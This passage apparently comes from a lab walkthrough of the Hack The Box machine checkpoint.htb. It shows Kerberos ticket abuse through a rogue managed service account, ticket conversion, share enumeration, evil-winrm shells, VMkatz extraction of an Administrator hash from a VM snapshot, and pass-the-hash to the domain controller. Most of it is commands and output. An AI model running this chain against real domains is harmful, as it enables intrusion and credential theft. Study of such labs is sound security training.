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
ServiceName : cifs/dc01.checkpoint.htb
ServiceRealm : CHECKPOINT.HTB
UserName : attacker_dmsa$ (NT_PRINCIPAL)
UserRealm : checkpoint.htb
StartTime : 6/14/2026 2:13:37 PM
EndTime : 6/14/2026 2:27:55 PM
RenewTill : 6/21/2026 2:12:19 PM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : uQP7ribbSwWo2bw4L6X4eWmTJF4IdXuUZWX7SS/x9PU=
Let's save the ticket on our attacking machine and use ticketConverter.py to convert the kirbi ticket to a ccache ticket.
echo -n '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' | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
Now, let's use the ticket with nxc to list the shares on the target machine and the permissions we have on them.
xc smb dc01.checkpoint.htb -d checkpoint.htb -u 'attacker_dmsa$' -k --use-kcache --shares
SMB dc01.checkpoint.htb 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB dc01.checkpoint.htb 445 DC01 [+] checkpoint.htb\attacker_dmsa$ from ccache
SMB dc01.checkpoint.htb 445 DC01 [*] Enumerated shares
SMB dc01.checkpoint.htb 445 DC01 Share Permissions Remark
SMB dc01.checkpoint.htb 445 DC01 ----- ----------- ------
SMB dc01.checkpoint.htb 445 DC01 ADMIN$ Remote Admin
SMB dc01.checkpoint.htb 445 DC01 C$ Default share
SMB dc01.checkpoint.htb 445 DC01 DevDrop VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB dc01.checkpoint.htb 445 DC01 IPC$ READ Remote IPC
SMB dc01.checkpoint.htb 445 DC01 NETLOGON READ Logon server share
SMB dc01.checkpoint.htb 445 DC01 SYSVOL READ Logon server share
SMB dc01.checkpoint.htb 445 DC01 VMBackups READ
As expected, now we can read VMBackups. Let's use smbclient.py to connect to the share.
smbclient.py -dc-ip 10.129.22.44 -k -no-pass 'checkpoint.htb'/'attacker_dmsa$'@dc01.checkpoint.htb
# use VMBackups
# ls
drw-rw-rw- 0 Wed May 13 13:58:05 2026 .
drw-rw-rw- 0 Sat May 9 14:42:27 2026 ..
drw-rw-rw- 0 Wed May 13 13:58:18 2026 NightlyBackup_2024-11-01
# cd NightlyBackup_2024-11-01
# ls
drw-rw-rw- 0 Wed May 13 13:58:18 2026 .
drw-rw-rw- 0 Wed May 13 13:58:05 2026 ..
drw-rw-rw- 0 Wed May 13 13:58:18 2026 memory forensics
# cd memory forensics
# ls
drw-rw-rw- 0 Wed May 13 13:58:18 2026 .
drw-rw-rw- 0 Wed May 13 13:58:18 2026 ..
-rw-rw-rw- 106496000 Wed May 13 13:58:18 2026 Windows Server 2019-000001.vmdk
-rw-rw-rw- 2147483648 Wed May 13 13:58:18 2026 Windows Server 2019-Snapshot1.vmem
-rw-rw-rw- 138164859 Thu May 14 22:32:32 2026 Windows Server 2019-Snapshot1.vmsn
-rw-rw-rw- 270840 Wed May 13 13:58:18 2026 Windows Server 2019.nvram
-rw-rw-rw- 7642 Wed May 13 13:58:18 2026 Windows Server 2019.scoreboard
-rw-rw-rw- 10199695360 Wed May 13 13:58:18 2026 Windows Server 2019.vmdk
-rw-rw-rw- 502 Wed May 13 13:58:18 2026 Windows Server 2019.vmsd
-rw-rw-rw- 2749 Wed May 13 13:58:18 2026 Windows Server 2019.vmx
-rw-rw-rw- 274 Wed May 13 13:58:18 2026 Windows Server 2019.vmxf
Some of those files are huge, and downloading them will take a long time. From bloodhound we see that svc_deploy is a member of the Remote Management Users group, so it can connect to the machine with winrm. The idea now is to request a ticket for the winrm service (HTTP/dc01.checkpoint.htb) and use evil-winrm to connect to the machine.
Back on the shell on the remote machine, run:
.\Rubeus.exe asktgs /user:attacker_dmsa$ /service:HTTP/dc01.checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:"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"
[*] base64(ticket.kirbi):
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
ServiceName : HTTP/dc01.checkpoint.htb
ServiceRealm : CHECKPOINT.HTB
UserName : attacker_dmsa$ (NT_PRINCIPAL)
UserRealm : checkpoint.htb
StartTime : 6/14/2026 2:35:42 PM
EndTime : 6/14/2026 2:48:02 PM
RenewTill : 6/21/2026 2:12:19 PM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : SggjnbkdBBS7PsK/8zX96qQlvL7wTl+z8dAUqjzMGtA=
Then, on the attacking machine:
echo -n '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' | base64 -d > http_ticket.kirbi
ticketConverter.py http_ticket.kirbi http_ticket.ccache
export KRB5CCNAME=http_ticket.ccache
evil-winrm -i dc01.checkpoint.htb -r CHECKPOINT.HTB
And we get a shell as attacker_dmsa$. Now we can also access the VMBackups share at C:\Shares\VMBackups.
Using VMkatz to Extract Credentials
We can use VMkatz (https://github.com/nikaiw/VMkatz) to extract credentials from the files in the share. Upload it on the target machine into C:\tmp.
C:\tmp\vmkatz.exe "Windows Server 2019-Snapshot1.vmsn"
[*] vmkatz v1.4.5-beta.1
[*] System discovery: 11.3087328s
[*] Process enumeration: 3.1212ms
[*] Providers: MSV(ok) WDigest(ok) Kerberos(ok) TsPkg(empty) DPAPI(ok) SSP(empty) LiveSSP(n/a) Credman(empty) CloudAP(empty)
[*] Credential extraction: 31.0655ms
[+] 2 logon session(s), 2 with credentials:
LUID: 0x3e4 (NETWORK SERVICE)
Username: WIN-0DG6SJAEUTA$
Domain: WORKGROUP
[DPAPI]
GUID : 632b77c8-5e1a-4479-8e35-baa290fdd6ae
MasterKey : 15e104f6de4e478c6bf55252632a25b973fccd39c2be8cc0d5b15a5dec06029f02fe0a02a3e57eb3b55f077f83a283cd0a11f6b3c6508d9e585527de78dc989e
SHA1 MasterKey: 44bb34a624afcd186909843e6cbdb4cfee908975
[DPAPI]
GUID : 57e1a5d6-bbd4-44e9-a5c4-f4241b0821b0
MasterKey : 95f668c165e7c0b3bd1f525330e5a647b9c9c8da7320c6fbdb4518a588bac996567e04f22b28d4f7a2abd33fafe0958522bca1aaa0de00f5edb7d6742065642d
SHA1 MasterKey: b2bf2c648554143d6b28b3c06a1ece7e40867238
[DPAPI]
GUID : 4f09a449-22e7-4a65-a4b9-fac89cc25328
MasterKey : e4778f7e1b8351eade5c49bb8e32503fbbaa705bb7e26eef5785e0a8200e31fcc2458a4db00e03aaabef34bd47900beee2d8a5bb73ddd904fbe279089a1ea718
SHA1 MasterKey: 90b1c277630e507a8e28d7b260a53f21712c3f1d
LUID: 0x14016d
Session: 2 | LogonType: Unknown
Username: Administrator
Domain: WIN-0DG6SJAEUTA
LogonServer: WIN-0DG6SJAEUTA
LogonTime: 2026-05-09 14:07:14 UTC
SID: S-1-5-21-2823729479-30462974-3865623546-500
[MSV1_0]
NT Hash : f29e9c014295b9b32139b09a2790be3b
SHA1 : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
DPAPI : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
[DPAPI]
GUID : c53f7d5b-2902-415c-9c09-251f39974440
MasterKey : 32cc5c309067ca0994b849897a9b85b89511547030a1d8b74fe6e37ba037a4161301ffce692e6e433c3821dc18abfe208e1dc5c458de79d1352c6681e18bde15
SHA1 MasterKey: b061f87be6d2776897d912fed9156a354b81a595
[*] 2 sessions, 1 NT hashes, 0 plaintext passwords
We have the nthash of Administrator: f29e9c014295b9b32139b09a2790be3b
Now we can connect to the DC with evil-winrm using that hash:
evil-winrm -i dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b
We get a shell as Administrator. The root flag is at the path: C:\Users\max.palmer\Desktop\root.txt